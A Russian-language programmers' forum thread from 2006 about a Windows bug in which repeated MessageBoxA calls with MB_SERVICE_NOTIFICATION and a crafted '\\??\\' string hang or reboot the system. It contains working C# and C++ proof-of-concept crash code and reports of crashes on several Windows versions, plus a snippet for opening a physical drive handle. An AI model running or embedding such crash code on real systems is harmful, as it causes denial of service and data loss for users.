Убийственный MessageBox от Microsoft
От: Димчанский Литва http://dimchansky.github.io/
Дата: 19.12.06 10:06
Оценка: 8 (5) +1
здесь все подробности.
Если у кого-то нету под рукой C++ компилятора, то вот порт под .NET Framework:
// mbox.cs
using System;
using System.Runtime.InteropServices;
class HelloWorldFromMicrosoft
{
  [DllImport("user32.dll")]
  unsafe public static extern int MessageBoxA(uint hwnd, byte* lpText, byte* lpCaption, uint uType);
  
  static unsafe void Main()
  {
    byte[] helloBug = new byte[] {0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
    uint MB_SERVICE_NOTIFICATION = 0x00200000u; 
    fixed(byte* pHelloBug = &helloBug[0])
    {
      for(int i=0; i<10; i++)
        MessageBoxA(0u, pHelloBug, pHelloBug, MB_SERVICE_NOTIFICATION);
    }
  }
}

Компилим и запускаем:

>> C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\csc.exe /unsafe mbox.cs
>> mbox.exe

После 2-4 итерации Windows начинает, как правило, загибаться.
На Vista может кто-то проверить?
Re: Убийственный MessageBox от Microsoft
От: Ubivetz Украина  
Дата: 19.12.06 10:13
Оценка:
Здравствуйте, Димчанский, Вы писали:

Только что проверял: на самой последней аглицкой ХР (регулярно из инета обновляется) работает. Причём работает жёстко!
Где-то на 4-м MessageBox'е винда перегружается.
Ждём эксплоитов


P.S. Пробовал С++ вариант, компиллировал MinGW.

#include <Windows.h>

using namespace std;

void crush_windows()
{
char bug [] = "\\??\\C:\\";
for(int i = 0; i < 10; i ++)
{
  ::MessageBox(0, bug, bug, MB_SERVICE_NOTIFICATION);
}

}
int main(int argc, char *argv[])
{
    crush_windows();
    return EXIT_SUCCESS;
}
Эх, люблю выпить и переспать с кем нибудь!
Но чаще выходит перепить с кем — нибудь и выспаться...
Re: Убийственный MessageBox от Microsoft
От: anonymous Россия http://denis.ibaev.name/
Дата: 19.12.06 10:24
Оценка:
Здравствуйте, Димчанский, Вы писали:

Д>На Vista может кто-то проверить?


Vista тоже гибнет: http://www.kuban.ru/forum_new/forum2/files/19124.html
Re: Убийственный MessageBox от Microsoft
От: Privalov  
Дата: 19.12.06 11:01
Оценка:
Здравствуйте, Димчанский, Вы писали:

Д>После 2-4 итерации Windows начинает, как правило, загибаться.

Д>На Vista может кто-то проверить?

Сейчас попробовал на Win2000 + SP4. Программа подвисает, при этом Task Manager в списке процессов ее не показывает. Созданная при запуске консоль не закрывается никак. Однако, остальные приложения работают.

Однако, веселый юмор...
Re[2]: Убийственный MessageBox от Microsoft
От: garant  
Дата: 19.12.06 11:26
Оценка: -1
Здравствуй, Ubivetz.

U> Где-то на 4-м MessageBox'е винда перегружается.


Под дельфями все работает нормально. В смысле что баг не проявился.

--
Тон
Posted via RSDN NNTP Server 2.0
Re[3]: Убийственный MessageBox от Microsoft
От: Димчанский Литва http://dimchansky.github.io/
Дата: 19.12.06 11:30
Оценка:
Здравствуйте, garant, Вы писали:

G>Здравствуй, Ubivetz.


U>> Где-то на 4-м MessageBox'е винда перегружается.


G>Под дельфями все работает нормально. В смысле что баг не проявился.


Это скорее всего потому, что Делфи вызывают юникод версию MessageBoxW.
Либо они вообще свой messagebox пользуют, а не системный. Код можешь показать?
Re[3]: Убийственный MessageBox от Microsoft
От: serg_fork  
Дата: 19.12.06 11:32
Оценка:
Здравствуйте, garant, Вы писали:


G>Под дельфями все работает нормально. В смысле что баг не проявился.


Не согласен. Работает и в делфи:
Re[2]: Убийственный MessageBox от Microsoft
От: Privalov  
Дата: 19.12.06 11:48
Оценка:
Здравствуйте, Privalov, Вы писали:

P>Однако, веселый юмор...


Поторопился, однако, с выводами. До BSOD не дошло, однако перестали запускаться приложения, перестал работать TaskBar, сейчас комп застрял при попытке нормального рестарта. Главное, кнопки RESET на нем нет.
Re[3]: Убийственный MessageBox от Microsoft
От: Димчанский Литва http://dimchansky.github.io/
Дата: 19.12.06 11:52
Оценка:
Здравствуйте, Privalov, Вы писали:

P>Поторопился, однако, с выводами. До BSOD не дошло, однако перестали запускаться приложения, перестал работать TaskBar, сейчас комп застрял при попытке нормального рестарта. Главное, кнопки RESET на нем нет.


есть кнопка POWER и кабель питания..
Re[4]: Убийственный MessageBox от Microsoft
От: Privalov  
Дата: 19.12.06 12:00
Оценка: :))
Здравствуйте, Димчанский, Вы писали:

Д>есть кнопка POWER и кабель питания..


Да, мне говорили. Если ничего не изменится, подумаю над этим вариантом. Но это ж возня: пока разберешся с ними...
Re[5]: Убийственный MessageBox от Microsoft
От: Димчанский Литва http://dimchansky.github.io/
Дата: 19.12.06 12:10
Оценка: +1 :))) :)
Здравствуйте, Privalov, Вы писали:

P>Да, мне говорили. Если ничего не изменится, подумаю над этим вариантом. Но это ж возня: пока разберешся с ними...


Тут главное, что у тебя лучше получается: тянуть или толкать.
Если тянуть, то упираешься ногами в стол, руками за кабель хватаешься (в месте с изоляцией) и тянешь на себя. Главное не схватить кабель питания от соседнего компа коллеги или от принтера..
Если толкать, то нужно попросить коллегу сделать упор ногой, упираешься и наваливаешься всем телом на кнопку питания примерно в течении 5 секунд. Если не поможет, можно навалиться пальцем.
Re[6]: Убийственный MessageBox от Microsoft
От: Privalov  
Дата: 19.12.06 12:18
Оценка:
Здравствуйте, Димчанский, Вы писали:

Д>...Главное не схватить кабель питания от соседнего компа коллеги или от принтера..


Вот именно. А у нас этих кабелей... эээ... много. Вероятность ошибиться достаточно велика. Ибо придется ползать под столом, взбивая пыль и уменшая тем самым и без того небольшое количество света, туда проникающее.


Д>Если толкать, то нужно попросить коллегу сделать упор ногой, упираешься и наваливаешься всем телом на кнопку питания примерно в течении 5 секунд. Если не поможет, можно навалиться пальцем.


Не, надо что-то другое... Коллега может не выдержать, ибо — хрупкая женщина. Надо какой-то способ, чтобы управиться без посторонней помощи.
Re: Убийственный MessageBox от Microsoft
От: leadmd Россия http://leadmd.livejournal.com/
Дата: 19.12.06 12:52
Оценка:
Здравствуйте, Димчанский, Вы писали:
Скорее всего ошибка из за того что указатель на строку сьезжает,и скорее всего в запрещенную область.
Интересно на каком кольце этот месадж бокс выполняется?
Re[2]: Убийственный MessageBox от Microsoft
От: int13h Украина  
Дата: 19.12.06 12:55
Оценка:
Windows 2k3 SP1
Первый раз все нормально. Второй раз — ребут.
Re[7]: Убийственный MessageBox от Microsoft
От: _alm_ Украина  
Дата: 19.12.06 12:55
Оценка:
Здравствуйте, Privalov, Вы писали:

P>Не, надо что-то другое... Коллега может не выдержать, ибо — хрупкая женщина. Надо какой-то способ, чтобы управиться без посторонней помощи.


Ммм... Рубильник на силовом щите ?
Re[8]: Убийственный MessageBox от Microsoft
От: Privalov  
Дата: 19.12.06 13:18
Оценка:
Здравствуйте, _alm_, Вы писали:

__>Ммм... Рубильник на силовом щите ?


Что, нажать? Или ударить чем? А обойдусь ли без посторонней помощи?
Re[4]: Убийственный MessageBox от Microsoft
От: garant  
Дата: 19.12.06 13:59
Оценка:
Здравствуй, \.

Д> Это скорее всего потому, что Делфи вызывают юникод версию MessageBoxW.

Д> Либо они вообще свой messagebox пользуют, а не системный. Код можешь показать?

Работает. Ошибся я...

--
Тон
Posted via RSDN NNTP Server 2.0
Re: Убийственный MessageBox от Microsoft
От: ZverX Россия  
Дата: 19.12.06 15:14
Оценка:
Здравствуйте, Димчанский, Вы писали:

Каким образом открыть диск как физическое устройство ? Файл открыть получилось, а вот диск никак.

HANDLE hFile;
OBJECT_ATTRIBUTES oa={0};
IO_STATUS_BLOCK iost={0};
UNICODE_STRING filename;
RtlInitUnicodeString(&filename, L"\\??\\\\.\\PHYSICALDRIVE0");
oa.Length=sizeof(OBJECT_ATTRIBUTES);
oa.ObjectName=&filename;
LARGE_INTEGER li={0};
NtCreateFile(&hFile, GENERIC_READ|GENERIC_WRITE|SYNCHRONIZE, &oa, &iost, &li, 0, FILE_SHARE_READ|FILE_SHARE_WRITE, FILE_OPEN, FILE_NON_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT, 0, 0 );

Здесь кстати можно. Интересно, что же пытается сделать MessageBox?
Re: Убийственный MessageBox от Microsoft
От: Ubivetz Украина  
Дата: 20.12.06 07:48
Оценка: -1
Здравствуйте, Димчанский, Вы писали:

Д>здесь все подробности.

Д>Компилим и запускаем:
Д>

>> C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\csc.exe /unsafe mbox.cs
>>> mbox.exe

Д>После 2-4 итерации Windows начинает, как правило, загибаться.

Всё это приближает знаменательное событие "Вендекапец", которое так долго ждали на ЛОРе
Эх, люблю выпить и переспать с кем нибудь!
Но чаще выходит перепить с кем — нибудь и выспаться...
Re[2]: Убийственный MessageBox от Microsoft
От: Димчанский Литва http://dimchansky.github.io/
Дата: 20.12.06 08:39
Оценка:
Здравствуйте, Ubivetz, Вы писали:

U>Всё это приближает знаменательное событие "Вендекапец", которое так долго ждали на ЛОРе

U>

Прямо таки спали и видели, как Windows умирает? Сколько ж ненависти нужно иметь для этого?
Подождите ...
Wait...
Пока на собственное сообщение не было ответов, его можно удалить.